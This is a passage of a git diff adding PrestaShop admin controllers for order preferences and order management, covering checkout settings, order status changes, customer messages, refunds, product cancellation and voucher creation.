'../img/admin/email.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'lang' => true, + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 53, + 'required' => true + ), + array( + 'type' => 'textarea', + 'lang' => true, + 'label' => $this->l('Message:'), + 'name' => 'message', + 'cols' => 50, + 'rows' => 15, + 'required' => true + ) + ), + 'submit' => array( + 'title' => $this->l('Save '), + 'class' => 'button' + ) + ); + + parent::__construct(); + } + +} + + diff --git a/controllers/admin/AdminOrderPreferencesController.php b/controllers/admin/AdminOrderPreferencesController.php new file mode 100755 index 0000000..fdaa117 --- /dev/null +++ b/controllers/admin/AdminOrderPreferencesController.php @@ -0,0 +1,170 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminOrderPreferencesControllerCore extends AdminController +{ + public function __construct() + { + $this->className = 'Configuration'; + $this->table = 'configuration'; + + parent::__construct(); + + // List of CMS tabs + $cms_tab = array(0 => array( + 'id' => 0, + 'name' => $this->l('None') + )); + foreach (CMS::listCms($this->context->language->id) as $cms_file) + $cms_tab[] = array('id' => $cms_file['id_cms'], 'name' => $cms_file['meta_title']); + + // List of order process types + $order_process_type = array( + array( + 'value' => PS_ORDER_PROCESS_STANDARD, + 'name' => $this->l('Standard (Five steps)') + ), + array( + 'value' => PS_ORDER_PROCESS_OPC, + 'name' => $this->l('One-page checkout') + ) + ); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('General'), + 'icon' => 'tab-preferences', + 'fields' => array( + 'PS_ORDER_PROCESS_TYPE' => array( + 'title' => $this->l('Order process type'), + 'desc' => $this->l('Please choose either the five-step, or one-page, checkout process.'), + 'validation' => 'isInt', + 'cast' => 'intval', + 'type' => 'select', + 'list' => $order_process_type, + 'identifier' => 'value' + ), + 'PS_GUEST_CHECKOUT_ENABLED' => array( + 'title' => $this->l('Enable guest checkout'), + 'desc' => $this->l('Guests can place an order without registering'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_PURCHASE_MINIMUM' => array( + 'title' => $this->l('Minimum purchase total required in order to validate the order'), + 'desc' => $this->l('Set to 0 to disable this feature'), + 'validation' => 'isFloat', + 'cast' => 'floatval', + 'type' => 'price' + ), + 'PS_ALLOW_MULTISHIPPING' => array( + 'title' => $this->l('Allow multishipping'), + 'desc' => $this->l('Allow the customer to ship orders to multiple addresses. This option will convert the customer\'s cart into one or more orders.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_SHIP_WHEN_AVAILABLE' => array( + 'title' => $this->l('Delayed shipping'), + 'desc' => $this->l('This option allows you to delay shipping at your customers\' request. '), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_CONDITIONS' => array( + 'title' => $this->l('Terms of service'), + 'desc' => $this->l('Require customers to accept or decline terms of service before processing an order.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'js' => array( + 'on' => 'onchange="changeCMSActivationAuthorization()"', + 'off' => 'onchange="changeCMSActivationAuthorization()"' + ) + ), + 'PS_CONDITIONS_CMS_ID' => array( + 'title' => $this->l('Conditions of use for the CMS page'), + 'desc' => $this->l('Choose the conditions of use for the CMS page.'), + 'validation' => 'isInt', + 'type' => 'select', + 'list' => $cms_tab, + 'identifier' => 'id', + 'cast' => 'intval' + ) + ) + ), + 'gift' => array( + 'title' => $this->l('Gift options'), + 'icon' => 'tab-preferences', + 'fields' => array( + 'PS_GIFT_WRAPPING' => array( + 'title' => $this->l('Offer gift wrapping'), + 'desc' => $this->l('Suggest gift-wrapping to customers.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_GIFT_WRAPPING_PRICE' => array( + 'title' => $this->l('Gift-wrapping price'), + 'desc' => $this->l('Set a price for gift wrapping'), + 'validation' => 'isPrice', + 'cast' => 'floatval', + 'type' => 'price' + ), + 'PS_GIFT_WRAPPING_TAX_RULES_GROUP' => array( + 'title' => $this->l('Gift-wrapping tax'), + 'desc' => $this->l('Set a tax for gift wrapping'), + 'validation' => 'isInt', + 'cast' => 'intval', + 'type' => 'select', + 'list' => array_merge(array(array('id_tax_rules_group' => 0, 'name' => $this->l('None'))), TaxRulesGroup::getTaxRulesGroups(true)), + 'identifier' => 'id_tax_rules_group' + ), + 'PS_RECYCLABLE_PACK' => array( + 'title' => $this->l('Offer recycled packaging'), + 'desc' => $this->l('Suggest recycled packaging to customer'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + ), + 'submit' => array('title' => $this->l('Save'), 'class' => 'button'), + ), + ); + } + + /** + * This method is called before we start to update options configuration + */ + public function beforeUpdateOptions() + { + $sql = 'SELECT `id_cms` FROM `'._DB_PREFIX_.'cms` + WHERE id_cms = '.(int)Tools::getValue('PS_CONDITIONS_CMS_ID'); + if (Tools::getValue('PS_CONDITIONS') && (Tools::getValue('PS_CONDITIONS_CMS_ID') == 0 || !Db::getInstance()->getValue($sql))) + $this->errors[] = Tools::displayError('Assign a valid CMS page if you want it to be read.'); + } +} diff --git a/controllers/admin/AdminOrdersController.php b/controllers/admin/AdminOrdersController.php new file mode 100755 index 0000000..328fd6f --- /dev/null +++ b/controllers/admin/AdminOrdersController.php @@ -0,0 +1,2224 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminOrdersControllerCore extends AdminController +{ + public $toolbar_title; + + public function __construct() + { + $this->table = 'order'; + $this->className = 'Order'; + $this->lang = false; + $this->addRowAction('view'); + $this->explicitSelect = true; + $this->allow_export = true; + $this->deleted = false; + $this->context = Context::getContext(); + + $this->_select = ' + a.id_currency, + a.id_order AS id_pdf, + CONCAT(LEFT(c.`firstname`, 1), \'. \', c.`lastname`) AS `customer`, + osl.`name` AS `osname`, + os.`color`, + IF((SELECT COUNT(so.id_order) FROM `'._DB_PREFIX_.'orders` so WHERE so.id_customer = a.id_customer) > 1, 0, 1) as new'; + + $this->_join = ' + LEFT JOIN `'._DB_PREFIX_.'customer` c ON (c.`id_customer` = a.`id_customer`) + LEFT JOIN `'._DB_PREFIX_.'order_state` os ON (os.`id_order_state` = a.`current_state`) + LEFT JOIN `'._DB_PREFIX_.'order_state_lang` osl ON (os.`id_order_state` = osl.`id_order_state` AND osl.`id_lang` = '.(int)$this->context->language->id.')'; + $this->_orderBy = 'id_order'; + $this->_orderWay = 'DESC'; + + $statuses_array = array(); + $statuses = OrderState::getOrderStates((int)$this->context->language->id); + + foreach ($statuses as $status) + $statuses_array[$status['id_order_state']] = $status['name']; + + $this->fields_list = array( + 'id_order' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'reference' => array( + 'title' => $this->l('Reference'), + 'align' => 'center', + 'width' => 65 + ), + 'new' => array( + 'title' => $this->l('New'), + 'width' => 25, + 'align' => 'center', + 'type' => 'bool', + 'tmpTableFilter' => true, + 'icon' => array( + 0 => 'blank.gif', + 1 => array( + 'src' => 'note.png', + 'alt' => $this->l('First customer order'), + ) + ), + 'orderby' => false + ), + 'customer' => array( + 'title' => $this->l('Customer'), + 'havingFilter' => true, + ), + 'total_paid_tax_incl' => array( + 'title' => $this->l('Total'), + 'width' => 70, + 'align' => 'right', + 'prefix' => '<b>', + 'suffix' => '</b>', + 'type' => 'price', + 'currency' => true + ), + 'payment' => array( + 'title' => $this->l('Payment: '), + 'width' => 100 + ), + 'osname' => array( + 'title' => $this->l('Status'), + 'color' => 'color', + 'width' => 280, + 'type' => 'select', + 'list' => $statuses_array, + 'filter_key' => 'os!id_order_state', + 'filter_type' => 'int' + ), + 'date_add' => array( + 'title' => $this->l('Date'), + 'width' => 130, + 'align' => 'right', + 'type' => 'datetime', + 'filter_key' => 'a!date_add' + ), + 'id_pdf' => array( + 'title' => $this->l('PDF'), + 'width' => 35, + 'align' => 'center', + 'callback' => 'printPDFIcons', + 'orderby' => false, + 'search' => false, + 'remove_onclick' => true) + ); + + $this->shopLinkType = 'shop'; + $this->shopShareDatas = Shop::SHARE_ORDER; + + if (Tools::isSubmit('id_order')) + { + // Save context (in order to apply cart rule) + $order = new Order((int)Tools::getValue('id_order')); + if (!Validate::isLoadedObject($order)) + throw new PrestaShopException('Cannot load Order object'); + $this->context->cart = new Cart($order->id_cart); + $this->context->customer = new Customer($order->id_customer); + } + + parent::__construct(); + } + + public function renderForm() + { + if (Context::getContext()->shop->getContext() != Shop::CONTEXT_SHOP && Shop::isFeatureActive()) + $this->errors[] = $this->l('You have to select a shop before creating new orders.'); + + $id_cart = (int)Tools::getValue('id_cart'); + $cart = new Cart((int)$id_cart); + if ($id_cart && !Validate::isLoadedObject($cart)) + $this->errors[] = $this->l('This cart does not exists'); + if ($id_cart && Validate::isLoadedObject($cart) && !$cart->id_customer) + $this->errors[] = $this->l('The cart must have a customer'); + if (count($this->errors)) + return false; + + parent::renderForm(); + unset($this->toolbar_btn['save']); + $this->addJqueryPlugin(array('autocomplete', 'fancybox', 'typewatch')); + + $defaults_order_state = array('cheque' => (int)Configuration::get('PS_OS_CHEQUE'), + 'bankwire' => (int)Configuration::get('PS_OS_BANKWIRE'), + 'cashondelivery' => (int)Configuration::get('PS_OS_PREPARATION'), + 'other' => (int)Configuration::get('PS_OS_PAYMENT')); + $payment_modules = array(); + foreach (PaymentModule::getInstalledPaymentModules() as $p_module) + $payment_modules[] = Module::getInstanceById((int)$p_module['id_module']); + + $this->context->smarty->assign(array( + 'recyclable_pack' => (int)Configuration::get('PS_RECYCLABLE_PACK'), + 'gift_wrapping' => (int)Configuration::get('PS_GIFT_WRAPPING'), + 'cart' => $cart, + 'currencies' => Currency::getCurrencies(), + 'langs' => Language::getLanguages(true, Context::getContext()->shop->id), + 'payment_modules' => $payment_modules, + 'order_states' => OrderState::getOrderStates((int)Context::getContext()->language->id), + 'defaults_order_state' => $defaults_order_state, + 'show_toolbar' => $this->show_toolbar, + 'toolbar_btn' => $this->toolbar_btn, + 'toolbar_scroll' => $this->toolbar_scroll, + 'title' => array($this->l('Orders'), $this->l('Create order')) + )); + $this->content .= $this->createTemplate('form.tpl')->fetch(); + } + + public function initToolbar() + { + if ($this->display == 'view') + { + $order = new Order((int)Tools::getValue('id_order')); + if ($order->hasBeenShipped()) + $type = $this->l('Return products'); + elseif ($order->hasBeenPaid()) + $type = $this->l('Standard refund'); + else + $type = $this->l('Cancel products'); + + if (!$order->hasBeenShipped() && !$this->lite_display) + $this->toolbar_btn['new'] = array( + 'short' => 'Create', + 'href' => '#', + 'desc' => $this->l('Add a product'), + 'class' => 'add_product' + ); + + if (Configuration::get('PS_ORDER_RETURN') && !$this->lite_display) + $this->toolbar_btn['standard_refund'] = array( + 'short' => 'Create', + 'href' => '', + 'desc' => $type, + 'class' => 'process-icon-standardRefund' + ); + + if ($order->hasInvoice() && !$this->lite_display) + $this->toolbar_btn['partial_refund'] = array( + 'short' => 'Create', + 'href' => '', + 'desc' => $this->l('Partial refund'), + 'class' => 'process-icon-partialRefund' + ); + } + $res = parent::initToolbar(); + if (Context::getContext()->shop->getContext() != Shop::CONTEXT_SHOP && isset($this->toolbar_btn['new']) && Shop::isFeatureActive()) + unset($this->toolbar_btn['new']); + return $res; + } + + public function setMedia() + { + parent::setMedia(); + $this->addJqueryUI('ui.datepicker'); + if ($this->tabAccess['edit'] == 1 && $this->display == 'view') + { + $this->addJS(_PS_JS_DIR_.'admin_order.js'); + $this->addJS(_PS_JS_DIR_.'tools.js'); + $this->addJqueryPlugin('autocomplete'); + } + } + + public function printPDFIcons($id_order, $tr) + { + $order = new Order($id_order); + $order_state = $order->getCurrentOrderState(); + if (!Validate::isLoadedObject($order_state) || !Validate::isLoadedObject($order)) + return ''; + + $this->context->smarty->assign(array( + 'order' => $order, + 'order_state' => $order_state, + 'tr' => $tr + )); + + return $this->createTemplate('_print_pdf_icon.tpl')->fetch(); + } + + public function postProcess() + { + // If id_order is sent, we instanciate a new Order object + if (Tools::isSubmit('id_order') && Tools::getValue('id_order') > 0) + { + $order = new Order(Tools::getValue('id_order')); + if (!Validate::isLoadedObject($order)) + throw new PrestaShopException('Can\'t load Order object'); + } + + /* Update shipping number */ + if (Tools::isSubmit('submitShippingNumber') && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + $order_carrier = new OrderCarrier(Tools::getValue('id_order_carrier')); + if (!Validate::isLoadedObject($order_carrier)) + $this->errors[] = Tools::displayError('The order carrier ID is invalid.'); + elseif (!Validate::isTrackingNumber(Tools::getValue('tracking_number'))) + $this->errors[] = Tools::displayError('The tracking number is incorrect.'); + else + { + // update shipping number + // Keep these two following lines for backward compatibility, remove on 1.6 version + $order->shipping_number = Tools::getValue('tracking_number'); + $order->update(); + + // Update order_carrier + $order_carrier->tracking_number = pSQL(Tools::getValue('tracking_number')); + if ($order_carrier->update()) + { + // Send mail to customer + $customer = new Customer((int)$order->id_customer); + $carrier = new Carrier((int)$order->id_carrier, $order->id_lang); + if (!Validate::isLoadedObject($customer)) + throw new PrestaShopException('Can\'t load Customer object'); + if (!Validate::isLoadedObject($carrier)) + throw new PrestaShopException('Can\'t load Carrier object'); + $templateVars = array( + '{followup}' => str_replace('@', $order->shipping_number, $carrier->url), + '{firstname}' => $customer->firstname, + '{lastname}' => $customer->lastname, + '{id_order}' => $order->id, + '{shipping_number}' => $order->shipping_number, + '{order_name}' => $order->getUniqReference() + ); + if (@Mail::Send((int)$order->id_lang, 'in_transit', Mail::l('Package in transit', (int)$order->id_lang), $templateVars, + $customer->email, $customer->firstname.' '.$customer->lastname, null, null, null, null, + _PS_MAIL_DIR_, true, (int)$order->id_shop)) + { + Hook::exec('actionAdminOrdersTrackingNumberUpdate', array('order' => $order)); + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=4&token='.$this->token); + } + else + $this->errors[] = Tools::displayError('An error occurred while sending an email to the customer.'); + } + else + $this->errors[] = Tools::displayError('The order carrier cannot be updated.'); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + /* Change order state, add a new entry in order history and send an e-mail to the customer if needed */ + elseif (Tools::isSubmit('submitState') && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + $order_state = new OrderState(Tools::getValue('id_order_state')); + + if (!Validate::isLoadedObject($order_state)) + $this->errors[] = Tools::displayError('The new order status is invalid.'); + else + { + $current_order_state = $order->getCurrentOrderState(); + if ($current_order_state->id != $order_state->id) + { + // Create new OrderHistory + $history = new OrderHistory(); + $history->id_order = $order->id; + $history->id_employee = (int)$this->context->employee->id; + + $use_existings_payment = false; + if (!$order->hasInvoice()) + $use_existings_payment = true; + $history->changeIdOrderState((int)$order_state->id, $order, $use_existings_payment); + + $carrier = new Carrier($order->id_carrier, $order->id_lang); + $templateVars = array(); + if ($history->id_order_state == Configuration::get('PS_OS_SHIPPING') && $order->shipping_number) + $templateVars = array('{followup}' => str_replace('@', $order->shipping_number, $carrier->url)); + // Save all changes + if ($history->addWithemail(true, $templateVars)) + { + // synchronizes quantities if needed.. + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + foreach ($order->getProducts() as $product) + { + if (StockAvailable::dependsOnStock($product['product_id'])) + StockAvailable::synchronize($product['product_id'], (int)$product['id_shop']); + } + } + + Tools::redirectAdmin(self::$currentIndex.'&id_order='.(int)$order->id.'&vieworder&token='.$this->token); + } + $this->errors[] = Tools::displayError('An error occurred while changing order status, or we were unable to send an email to the customer.'); + } + else + $this->errors[] = Tools::displayError('The order has already been assigned this status.'); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + /* Add a new message for the current order and send an e-mail to the customer if needed */ + elseif (Tools::isSubmit('submitMessage') && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + $customer = new Customer(Tools::getValue('id_customer')); + if (!Validate::isLoadedObject($customer)) + $this->errors[] = Tools::displayError('The customer is invalid.'); + elseif (!Tools::getValue('message')) + $this->errors[] = Tools::displayError('The message cannot be blank.'); + else + { + /* Get message rules and and check fields validity */ + $rules = call_user_func(array('Message', 'getValidationRules'), 'Message'); + foreach ($rules['required'] as $field) + if (($value = Tools::getValue($field)) == false && (string)$value != '0') + if (!Tools::getValue('id_'.$this->table) || $field != 'passwd') + $this->errors[] = sprintf(Tools::displayError('field %s is required.'), $field); + foreach ($rules['size'] as $field => $maxLength) + if (Tools::getValue($field) && Tools::strlen(Tools::getValue($field)) > $maxLength) + $this->errors[] = sprintf(Tools::displayError('field %1$s is too long (%2$d chars max).'), $field, $maxLength); + foreach ($rules['validate'] as $field => $function) + if (Tools::getValue($field)) + if (!Validate::$function(htmlentities(Tools::getValue($field), ENT_COMPAT, 'UTF-8'))) + $this->errors[] = sprintf(Tools::displayError('field %s is invalid.'), $field); + + if (!count($this->errors)) + { + //check if a thread already exist + $id_customer_thread = CustomerThread::getIdCustomerThreadByEmailAndIdOrder($customer->email, $order->id); + if (!$id_customer_thread) + { + $customer_thread = new CustomerThread(); + $customer_thread->id_contact = 0; + $customer_thread->id_customer = (int)$order->id_customer; + $customer_thread->id_shop = (int)$this->context->shop->id; + $customer_thread->id_order = (int)$order->id; + $customer_thread->id_lang = (int)$this->context->language->id; + $customer_thread->email = $customer->email; + $customer_thread->status = 'open'; + $customer_thread->token = Tools::passwdGen(12); + $customer_thread->add(); + } + else + $customer_thread = new CustomerThread((int)$id_customer_thread); + + $customer_message = new CustomerMessage(); + $customer_message->id_customer_thread = $customer_thread->id; + $customer_message->id_employee = (int)$this->context->employee->id; + $customer_message->message = htmlentities(Tools::getValue('message'), ENT_COMPAT, 'UTF-8'); + $customer_message->private = Tools::getValue('visibility'); + + if (!$customer_message->add()) + $this->errors[] = Tools::displayError('An error occurred while saving the message.'); + elseif ($customer_message->private) + Tools::redirectAdmin(self::$currentIndex.'&id_order='.(int)$order->id.'&vieworder&conf=11&token='.$this->token); + else + { + $message = $customer_message->message; + if (Configuration::get('PS_MAIL_TYPE', null, null, $order->id_shop) != Mail::TYPE_TEXT) + $message = Tools::nl2br($customer_message->message); + + $varsTpl = array( + '{lastname}' => $customer->lastname, + '{firstname}' => $customer->firstname, + '{id_order}' => $order->id, + '{order_name}' => $order->getUniqReference(), + '{message}' => $message + ); + if (@Mail::Send((int)$order->id_lang, 'order_merchant_comment', + Mail::l('New message regarding your order', (int)$order->id_lang), $varsTpl, $customer->email, + $customer->firstname.' '.$customer->lastname, null, null, null, null, _PS_MAIL_DIR_, true, (int)$order->id_shop)) + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=11'.'&token='.$this->token); + } + $this->errors[] = Tools::displayError('An error occurred while sending an email to the customer.'); + } + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + + /* Partial refund from order */ + elseif (Tools::isSubmit('partialRefund') && isset($order)) + { + if ($this->tabAccess['edit'] == '1') + { + if (is_array($_POST['partialRefundProduct'])) + { + $amount = 0; + $order_detail_list = array(); + foreach ($_POST['partialRefundProduct'] as $id_order_detail => $amount_detail) + { + $order_detail_list[$id_order_detail]['quantity'] = (int)$_POST['partialRefundProductQuantity'][$id_order_detail]; + + if (empty($amount_detail)) + { + $order_detail = new OrderDetail((int)$id_order_detail); + $order_detail_list[$id_order_detail]['amount'] = $order_detail->unit_price_tax_incl * $order_detail_list[$id_order_detail]['quantity']; + } + else + $order_detail_list[$id_order_detail]['amount'] = (float)str_replace(',', '.', $amount_detail); + $amount += $order_detail_list[$id_order_detail]['amount']; + + $order_detail = new OrderDetail((int)$id_order_detail); + if (!$order->hasBeenDelivered() || ($order->hasBeenDelivered() && Tools::isSubmit('reinjectQuantities')) && $order_detail_list[$id_order_detail]['quantity'] > 0) + $this->reinjectQuantity($order_detail, $order_detail_list[$id_order_detail]['quantity']); + } + + $shipping_cost_amount = (float)str_replace(',', '.', Tools::getValue('partialRefundShippingCost')); + if ($shipping_cost_amount > 0) + $amount += $shipping_cost_amount; + + if ($amount > 0) + { + if (!OrderSlip::createPartialOrderSlip($order, $amount, $shipping_cost_amount, $order_detail_list)) + $this->errors[] = Tools::displayError('You cannot generate a partial credit slip.'); + + // Generate voucher + if (Tools::isSubmit('generateDiscountRefund') && !count($this->errors)) + { + $cart_rule = new CartRule(); + $cart_rule->description = sprintf($this->l('Credit card slip for order #%d'), $order->id); + $languages = Language::getLanguages(false); + foreach ($languages as $language) + // Define a temporary name + $cart_rule->name[$language['id_lang']] = sprintf('V0C%1$dO%2$d', $order->id_customer, $order->id); + + // Define a temporary code + $cart_rule->code = sprintf('V0C%1$dO%2$d', $order->id_customer, $order->id); + $cart_rule->quantity = 1; + $cart_rule->quantity_per_user = 1; + + // Specific to the customer + $cart_rule->id_customer = $order->id_customer; + $now = time(); + $cart_rule->date_from = date('Y-m-d H:i:s', $now); + $cart_rule->date_to = date('Y-m-d H:i:s', $now + (3600 * 24 * 365.25)); /* 1 year */ + $cart_rule->active = 1; + + $cart_rule->reduction_amount = $amount; + $cart_rule->reduction_tax = true; + $cart_rule->minimum_amount_currency = $order->id_currency; + $cart_rule->reduction_currency = $order->id_currency; + + if (!$cart_rule->add()) + $this->errors[] = Tools::displayError('You cannot generate a voucher.'); + else + { + // Update the voucher code and name + foreach ($languages as $language) + $cart_rule->name[$language['id_lang']] = sprintf('V%1$dC%2$dO%3$d', $cart_rule->id, $order->id_customer, $order->id); + $cart_rule->code = sprintf('V%1$dC%2$dO%3$d', $cart_rule->id, $order->id_customer, $order->id); + + if (!$cart_rule->update()) + $this->errors[] = Tools::displayError('You cannot generate a voucher.'); + else + { + $currency = $this->context->currency; + $customer = new Customer((int)($order->id_customer)); + $params['{lastname}'] = $customer->lastname; + $params['{firstname}'] = $customer->firstname; + $params['{id_order}'] = $order->id; + $params['{order_name}'] = $order->getUniqReference(); + $params['{voucher_amount}'] = Tools::displayPrice($cart_rule->reduction_amount, $currency, false); + $params['{voucher_num}'] = $cart_rule->code; + $customer = new Customer((int)$order->id_customer); + @Mail::Send((int)$order->id_lang, 'voucher', sprintf(Mail::l('New voucher regarding your order %s', (int)$order->id_lang), $order->reference), + $params, $customer->email, $customer->firstname.' '.$customer->lastname, null, null, null, + null, _PS_MAIL_DIR_, true, (int)$order->id_shop); + } + } + } + } + else + $this->errors[] = Tools::displayError('You have to enter an amount if you want to create a partial credit slip.'); + + // Redirect if no errors + if (!count($this->errors)) + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=30&token='.$this->token); + } + else + $this->errors[] = Tools::displayError('The partial refund data is incorrect.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + + /* Cancel product from order */ + elseif (Tools::isSubmit('cancelProduct') && isset($order)) + { + if ($this->tabAccess['delete'] === '1') + { + if (!Tools::isSubmit('id_order_detail') && !Tools::isSubmit('id_customization')) + $this->errors[] = Tools::displayError('You must select a product.'); + elseif (!Tools::isSubmit('cancelQuantity') && !Tools::isSubmit('cancelCustomizationQuantity')) + $this->errors[] = Tools::displayError('You must enter a quantity.'); + else + { + $productList = Tools::getValue('id_order_detail'); + if ($productList) + $productList = array_map('intval', $productList); + + $customizationList = Tools::getValue('id_customization'); + if ($customizationList) + $customizationList = array_map('intval', $customizationList); + + $qtyList = Tools::getValue('cancelQuantity'); + if ($qtyList) + $qtyList = array_map('intval', $qtyList); + + $customizationQtyList = Tools::getValue('cancelCustomizationQuantity'); + if ($customizationQtyList) + $customizationQtyList = array_map('intval', $customizationQtyList); + + $full_product_list = $productList; + $full_quantity_list = $qtyList; + + if ($customizationList) + foreach ($customizationList as $key => $id_order_detail) + { + $full_product_list[(int)$id_order_detail] = $id_order_detail; + if (isset($customizationQtyList[$key])) + $full_quantity_list[(int)$id_order_detail] += $customizationQtyList[$key]; + } + + if ($productList || $customizationList) + { + if ($productList) + { + $id_cart = Cart::getCartIdByOrderId($order->id); + $customization_quantities = Customization::countQuantityByCart($id_cart); + + foreach ($productList as $key => $id_order_detail) + { + $qtyCancelProduct = abs($qtyList[$key]); + if (!$qtyCancelProduct) + $this->errors[] = Tools::displayError('No quantity has been selected for this product.'); + + $order_detail = new OrderDetail($id_order_detail); + $customization_quantity = 0; + if (array_key_exists($order_detail->product_id, $customization_quantities) && array_key_exists($order_detail->product_attribute_id, $customization_quantities[$order_detail->product_id])) + $customization_quantity = (int)$customization_quantities[$order_detail->product_id][$order_detail->product_attribute_id]; + + if (($order_detail->product_quantity - $customization_quantity - $order_detail->product_quantity_refunded - $order_detail->product_quantity_return) < $qtyCancelProduct) + $this->errors[] = Tools::displayError('An invalid quantity was selected for this product.'); + + } + } + if ($customizationList) + { + $customization_quantities = Customization::retrieveQuantitiesFromIds(array_keys($customizationList)); + + foreach ($customizationList as $id_customization => $id_order_detail) + { + $qtyCancelProduct = abs($customizationQtyList[$id_customization]); + $customization_quantity = $customization_quantities[$id_customization]; + + if (!$qtyCancelProduct) + $this->errors[] = Tools::displayError('No quantity has been selected for this product.'); + + if ($qtyCancelProduct > ($customization_quantity['quantity'] - ($customization_quantity['quantity_refunded'] + $customization_quantity['quantity_returned']))) + $this->errors[] = Tools::displayError('An invalid quantity was selected for this product.'); + } + } + + if (!count($this->errors) && $productList) + foreach ($productList as $key => $id_order_detail) + { + $qty_cancel_product = abs($qtyList[$key]); + $order_detail = new OrderDetail((int)($id_order_detail)); + + if (!$order->hasBeenDelivered() || ($order->hasBeenDelivered() && Tools::isSubmit('reinjectQuantities')) && $qty_cancel_product > 0) + $this->reinjectQuantity($order_detail, $qty_cancel_product); + + // Delete product + $order_detail = new OrderDetail((int)$id_order_detail); + if (!$order->deleteProduct($order, $order_detail, $qtyCancelProduct)) + $this->errors[] = Tools::displayError('An error occurred while attempting to delete the product.').' <span class="bold">'.$order_detail->product_name.'</span>'; + Hook::exec('actionProductCancel', array('order' => $order, 'id_order_detail' => (int)$id_order_detail)); + } + if (!count($this->errors) && $customizationList) + foreach ($customizationList as $id_customization => $id_order_detail) + { + $order_detail = new OrderDetail((int)($id_order_detail)); + $qtyCancelProduct = abs($customizationQtyList[$id_customization]); + if (!$order->deleteCustomization($id_customization, $qtyCancelProduct, $order_detail)) + $this->errors[] = Tools::displayError('An error occurred while attempting to delete product customization.').' '.$id_customization; + } + // E-mail params + if ((Tools::isSubmit('generateCreditSlip') || Tools::isSubmit('generateDiscount')) && !count($this->errors)) + { + $customer = new Customer((int)($order->id_customer)); + $params['{lastname}'] = $customer->lastname; + $params['{firstname}'] = $customer->firstname; + $params['{id_order}'] = $order->id; + $params['{order_name}'] = $order->getUniqReference(); + } + + // Generate credit slip + if (Tools::isSubmit('generateCreditSlip') && !count($this->errors)) + { + if (!OrderSlip::createOrderSlip($order, $full_product_list, $full_quantity_list, Tools::isSubmit('shippingBack'))) + $this->errors[] = Tools::displayError('A credit slip cannot be generated. '); + else + { + Hook::exec('actionOrderSlipAdd', array('order' => $order, 'productList' => $full_product_list, 'qtyList' => $full_quantity_list)); + @Mail::Send( + (int)$order->id_lang, + 'credit_slip', + Mail::l('New credit slip regarding your order', $order->id_lang), + $params, + $customer->email, + $customer->firstname.' '.$customer->lastname, + null, + null, + null, + null, + _PS_MAIL_DIR_, + true, + (int)$order->id_shop + ); + } + } + + // Generate voucher + if (Tools::isSubmit('generateDiscount') && !count($this->errors)) + { + $cartrule = new CartRule(); + $languages = Language::getLanguages($order); + $cartrule->description = sprintf($this->l('Credit card slip for order #%d'), $order->id); + foreach ($languages as $language) + { + // Define a temporary name + $cartrule->name[$language['id_lang']] = 'V0C'.(int)($order->id_customer).'O'.(int)($order->id); + } + // Define a temporary code + $cartrule->code = 'V0C'.(int)($order->id_customer).'O'.(int)($order->id); + + $cartrule->quantity = 1; + $cartrule->quantity_per_user = 1; + // Specific to the customer + $cartrule->id_customer = $order->id_customer; + $now = time(); + $cartrule->date_from = date('Y-m-d H:i:s', $now); + $cartrule->date_to = date('Y-m-d H:i:s', $now + (3600 * 24 * 365.25)); /* 1 year */ + $cartrule->active = 1; + + $products = $order->getProducts(false, $full_product_list, $full_quantity_list); + + $total = 0; + foreach ($products as $product) + $total += $product['unit_price_tax_incl'] * $product['product_quantity']; + + if (Tools::isSubmit('shippingBack')) + $total += $order->total_shipping; + + $cartrule->reduction_amount = $total; + $cartrule->reduction_tax = true; + $cartrule->minimum_amount_currency = $order->id_currency; + 